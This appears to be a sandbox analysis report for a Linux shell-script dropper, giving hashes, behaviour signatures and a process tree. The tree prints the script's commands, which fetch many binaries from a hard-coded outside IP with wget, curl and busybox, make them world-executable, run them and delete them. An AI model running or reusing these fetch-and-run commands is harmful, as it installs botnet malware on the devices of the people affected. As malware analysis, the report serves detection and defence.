bd3d9ac7744fd61f9774e61affc8e0da073ab1100a7a5016a9cb78467ccd34fb

Analysis

max time kernel
81s
max time network
84s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
21-11-2024 08:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bd3d9ac7744fd61f9774e61affc8e0da073ab1100a7a5016a9cb78467ccd34fb.sh
Size

10KB
MD5

7f9d3db559611740d40b8bccb98f2049
SHA1

28310a0e460821cd5a5feac8b12caa9888a8d099
SHA256

bd3d9ac7744fd61f9774e61affc8e0da073ab1100a7a5016a9cb78467ccd34fb
SHA512

ece04554d410979552af51e89a048b680fa4deb2af109261066b0df055cd57a8c32e7600cc3e35f5b35a6795602775103c9ae7c4ad2cf54a8bc4e36a6eeca932
SSDEEP

192:WhV/N+6upNj0sUD8//x89a3lR9lC8gwS8gBhV/N+6KpNj0sL//x89an:6mpNj0sUDslR9M8gL8gbCpNj0sZ

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	process
891	chmod
909	chmod
939	chmod
785	chmod
903	chmod
927	chmod
915	chmod
804	chmod
951	chmod
957	chmod
945	chmod
975	chmod
761	chmod
855	chmod
885	chmod
933	chmod
735	chmod
897	chmod
969	chmod
921	chmod
963	chmod
810	chmod
867	chmod
873	chmod
879	chmod
741	chmod
829	chmod
861	chmod

Executes dropped EXE 28 IoCs

Processes:

aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJxuUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjod9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X0wprA81cTZqq8CpDff9xycubkPkIuEDv1lTImbYyQErq2Pjn6pEs2iEgHDh0MmNCWuscyXRP32OWRCwzywQa2MrBL9WmerLEMYaLWvxoCgctsJUTWBClJkUajOFJt7yhBQpkRvbcmmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqqKHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2ejO35p3ilukvfsE6y74InUUnbLJacTwrz8t6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbcmmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqqKHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2ejO35p3ilukvfsE6y74InUUnbLJacTwrz8t6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJxuUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjod9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X0wprA81cTZqq8CpDff9xycubkPkIuEDv1lTImbYyQErq2Pjn6pEs2iEgHDh0MmNCWuscyXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for modification	/tmp/KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ	curl
File opened for modification	/tmp/d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7	curl
File opened for modification	/tmp/1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e	curl
File opened for modification	/tmp/1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e	curl
File opened for modification	/tmp/0wprA81cTZqq8CpDff9xycubkPkIuEDv1l	curl
File opened for modification	/tmp/aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB	curl
File opened for modification	/tmp/uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo	curl
File opened for modification	/tmp/0wprA81cTZqq8CpDff9xycubkPkIuEDv1l	curl
File opened for modification	/tmp/6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5	curl
File opened for modification	/tmp/yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv	curl
File opened for modification	/tmp/6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx	curl
File opened for modification	/tmp/sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X	curl
File opened for modification	/tmp/mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq	curl
File opened for modification	/tmp/jO35p3ilukvfsE6y74InUUnbLJacTwrz8t	curl
File opened for modification	/tmp/6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5	curl
File opened for modification	/tmp/TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc	curl
File opened for modification	/tmp/TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc	curl
File opened for modification	/tmp/6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx	curl
File opened for modification	/tmp/d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7	curl
File opened for modification	/tmp/xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc	curl
File opened for modification	/tmp/mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq	curl
File opened for modification	/tmp/sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X	curl
File opened for modification	/tmp/yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv	curl
File opened for modification	/tmp/uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo	curl
File opened for modification	/tmp/jO35p3ilukvfsE6y74InUUnbLJacTwrz8t	curl
File opened for modification	/tmp/xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc	curl
File opened for modification	/tmp/KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ	curl
File opened for modification	/tmp/aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB	curl

/tmp/bd3d9ac7744fd61f9774e61affc8e0da073ab1100a7a5016a9cb78467ccd34fb.sh
/tmp/bd3d9ac7744fd61f9774e61affc8e0da073ab1100a7a5016a9cb78467ccd34fb.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://216.126.231.240/bins/aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  2⤵
  PID:708
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  2⤵
  PID:733
- /bin/chmod
  chmod 777 aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  ./aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  2⤵
  PID:737
- /usr/bin/wget
  wget http://216.126.231.240/bins/6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  2⤵
  PID:740
- /bin/chmod
  chmod 777 6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  ./6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm 6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  2⤵
  PID:743
- /usr/bin/wget
  wget http://216.126.231.240/bins/uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  2⤵
  PID:756
- /bin/chmod
  chmod 777 uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  ./uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  2⤵
  - Executes dropped EXE
  PID:762
- /bin/rm
  rm uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  2⤵
  PID:765
- /usr/bin/wget
  wget http://216.126.231.240/bins/d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  2⤵
  PID:766
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  2⤵
  PID:781
- /bin/chmod
  chmod 777 d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  ./d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm d9MyYHRJBDsVTQTawTz2IivYPfrft21ZI7
  2⤵
  PID:789
- /usr/bin/wget
  wget http://216.126.231.240/bins/sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  2⤵
  PID:803
- /bin/chmod
  chmod 777 sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  ./sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  2⤵
  - Executes dropped EXE
  PID:805
- /bin/rm
  rm sEDxKCoYCUf9JtPYEXwXOwBqnxltIJst7X
  2⤵
  PID:806
- /usr/bin/wget
  wget http://216.126.231.240/bins/0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  2⤵
  PID:809
- /bin/chmod
  chmod 777 0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  ./0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  2⤵
  - Executes dropped EXE
  PID:811
- /bin/rm
  rm 0wprA81cTZqq8CpDff9xycubkPkIuEDv1l
  2⤵
  PID:812
- /usr/bin/wget
  wget http://216.126.231.240/bins/TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  2⤵
  PID:823
- /bin/chmod
  chmod 777 TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  ./TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm TImbYyQErq2Pjn6pEs2iEgHDh0MmNCWusc
  2⤵
  PID:832
- /usr/bin/wget
  wget http://216.126.231.240/bins/yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  2⤵
  PID:854
- /bin/chmod
  chmod 777 yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  ./yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm yXRP32OWRCwzywQa2MrBL9WmerLEMYaLWv
  2⤵
  PID:857
- /usr/bin/wget
  wget http://216.126.231.240/bins/xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  2⤵
  PID:858
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  2⤵
  PID:860
- /bin/chmod
  chmod 777 xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  ./xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  2⤵
  PID:863
- /usr/bin/wget
  wget http://216.126.231.240/bins/mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  2⤵
  PID:864
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  2⤵
  PID:866
- /bin/chmod
  chmod 777 mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  ./mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  2⤵
  PID:869
- /usr/bin/wget
  wget http://216.126.231.240/bins/KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  2⤵
  PID:870
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  2⤵
  PID:872
- /bin/chmod
  chmod 777 KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  ./KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  2⤵
  PID:875
- /usr/bin/wget
  wget http://216.126.231.240/bins/1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  2⤵
  PID:878
- /bin/chmod
  chmod 777 1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  ./1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm 1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  2⤵
  PID:881
- /usr/bin/wget
  wget http://216.126.231.240/bins/jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  2⤵
  PID:884
- /bin/chmod
  chmod 777 jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  ./jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  2⤵
  PID:887
- /usr/bin/wget
  wget http://216.126.231.240/bins/6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  2⤵
  PID:890
- /bin/chmod
  chmod 777 6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  ./6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm 6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  2⤵
  PID:893
- /usr/bin/wget
  wget http://216.126.231.240/bins/xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  2⤵
  PID:896
- /bin/chmod
  chmod 777 xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  ./xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm xoCgctsJUTWBClJkUajOFJt7yhBQpkRvbc
  2⤵
  PID:899
- /usr/bin/wget
  wget http://216.126.231.240/bins/mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  2⤵
  PID:902
- /bin/chmod
  chmod 777 mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  ./mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm mmdcnYxWN3tvXoIR2BatHzzo0otZaJsSqq
  2⤵
  PID:905
- /usr/bin/wget
  wget http://216.126.231.240/bins/KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  2⤵
  PID:908
- /bin/chmod
  chmod 777 KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  ./KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm KHnO9rsGvlEX1fxjIViURP5t9w4gbx5CHQ
  2⤵
  PID:911
- /usr/bin/wget
  wget http://216.126.231.240/bins/1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  2⤵
  PID:912
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  2⤵
  PID:914
- /bin/chmod
  chmod 777 1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  ./1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm 1S3DYE9L1ODE3RDBCcxVKgq76XWx6Yvk2e
  2⤵
  PID:917
- /usr/bin/wget
  wget http://216.126.231.240/bins/jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  2⤵
  PID:920
- /bin/chmod
  chmod 777 jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  ./jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm jO35p3ilukvfsE6y74InUUnbLJacTwrz8t
  2⤵
  PID:923
- /usr/bin/wget
  wget http://216.126.231.240/bins/6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  2⤵
  PID:924
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  2⤵
  PID:926
- /bin/chmod
  chmod 777 6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  ./6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm 6MQMF7EqS9sLqy6zsR7UO0YkcaRPIQE2S5
  2⤵
  PID:929
- /usr/bin/wget
  wget http://216.126.231.240/bins/aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  2⤵
  PID:930
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  2⤵
  PID:932
- /bin/chmod
  chmod 777 aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  ./aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm aGS2tp6AS7hd7fUZ5NnEk3odUSW1tQVXcB
  2⤵
  PID:935
- /usr/bin/wget
  wget http://216.126.231.240/bins/6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  2⤵
  PID:936
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  2⤵
  PID:938
- /bin/chmod
  chmod 777 6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  ./6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm 6uDi3BcojPUPGmit9uXpqjdT7A5tBapPJx
  2⤵
  PID:941
- /usr/bin/wget
  wget http://216.126.231.240/bins/uUYXFrJXG1Nx6dC8kmLRZi3DEF4a5S5sjo
  2⤵
